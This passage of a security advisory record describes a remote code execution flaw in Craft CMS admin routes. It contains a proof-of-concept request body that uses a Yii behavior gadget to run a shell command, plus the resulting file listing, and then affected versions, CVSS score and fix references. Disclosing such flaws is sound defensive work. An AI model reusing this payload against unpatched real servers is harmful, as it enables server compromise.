c3ace995f4d19645dc65b957cf54e92e_identity=2c5abb45e65baee8d4fef5a873df2367ab1c42598a8937138bcba58593033d68a%3A2%3A%7Bi%3A0%3Bs%3A41%3A%22c3ace995f4d19645dc65b957cf54e92e_identity%22%3Bi%3A1%3Bs%3A162%3A%22%5B1%2C%22%5B%5C%22CdWbsSlpUey1DCRudhcod_xy0tXLc2oIHlOAeYLTAqOmF0rBIv2zaXQp4eg4AUBRc0qQr5G5wElj01yRXhojzuRZnPIW-GJqGo_U%5C%22%2Cnull%2C%5C%22961fe1815772f9207245de1a33ecd079%5C%22%5D%22%2C1209600%5D%22%3B%7D; c3ace995f4d19645dc65b957cf54e92e_username=28fa03238cbef8d3f349cde0ed37d8c62118163d18695ccdb5feec2a05906303a%3A2%3A%7Bi%3A0%3Bs%3A41%3A%22c3ace995f4d19645dc65b957cf54e92e_username%22%3Bi%3A1%3Bs%3A5%3A%22admin%22%3B%7D; Craft-cd62f980-7ec7-4e9a-8d60-f781e5744a68:sidebar=expanded; Craft-cd62f980-7ec7-4e9a-8d60-f781e5744a68:sidebar-details=expanded\nSec-Fetch-Dest: empty\nSec-Fetch-Mode: cors\nSec-Fetch-Site: same-origin\nPriority: u=0\n\n{\"fieldLayoutConfig\":{\n  \"as xxx\": {\n    \"__class\": \"yii\\\\behaviors\\\\AttributeTypecastBehavior\",\n    \"__construct()\": [\n      {\n        \"attributeTypes\": {\n          \"typecastBeforeSave\": [\"Psy\\\\Readline\\\\Hoa\\\\ConsoleProcessus\", \"execute\"]\n        },\n        \"typecastBeforeSave\": \"touch /tmp/touch222\"\n      }\n    ]\n  },\n  \"on *\": \"self::beforeSave\"\n},\"cardElements\":[],\"showThumb\":null,\"thumbAlignment\":\"end\"}\n```\n* Check the filesystem to confirm the creation of the two files in `/tmp` and hence confirm RCE:\n```\n$ ls -la /tmp/\n...\n-rw-rw-r--  1 calum calum       0 Nov 19 16:05 touch111\n-rw-rw-r--  1 calum calum       0 Nov 19 16:05 touch222\n```\n\n### Impact\n\nAn attacker with access to Craft CMS admin functionality, specifically the routes listed above, can trigger RCE on the backend server and potentially gain control of the server.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "craftcms/cms"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "5.0.0-RC1"
      }, {
        "fixed" : "5.8.21"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 5.8.20"
    }
  }, {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "craftcms/cms"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "4.0.0-RC1"
      }, {
        "fixed" : "4.16.17"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 4.16.16"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/craftcms/cms/security/advisories/GHSA-255j-qw47-wjh5"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-68455"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/craftcms/cms/commit/27f55886098b56c00ddc53b69239c9c9192252c7"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/craftcms/cms/commit/6e608a1a5bfb36943f94f584b7548ca542a86fef"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/craftcms/cms/commit/ec43c497edde0b2bf2e39a119cded2e55f9fe593"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/craftcms/cms"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/craftcms/cms/blob/5.x/CHANGELOG.md#5821---2025-12-04"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-470" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-01-05T18:50:14Z",
    "nvd_published_at" : "2026-01-05T22:15:52Z"
  }
}

CVSS V4

N/A HIGH

Attack Vector N/A

Attack Complexity N/A

Privileges Required N/A

User Interaction N/A

Scope N/A

Confidentiality N/A

Integrity N/A

Availability N/A

Vector String

CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Advisory Metadata

Source ID: GHSA-255j-qw47-wjh5
Schema Version: 1.4.0
Published: 2026-01-05 18:50
Last Modified: 2026-01-06 15:52
Database Record File: advisories/github-reviewed/2026/01/GHSA-255j-qw47-wjh5/GHSA-255j-qw47-wjh5.json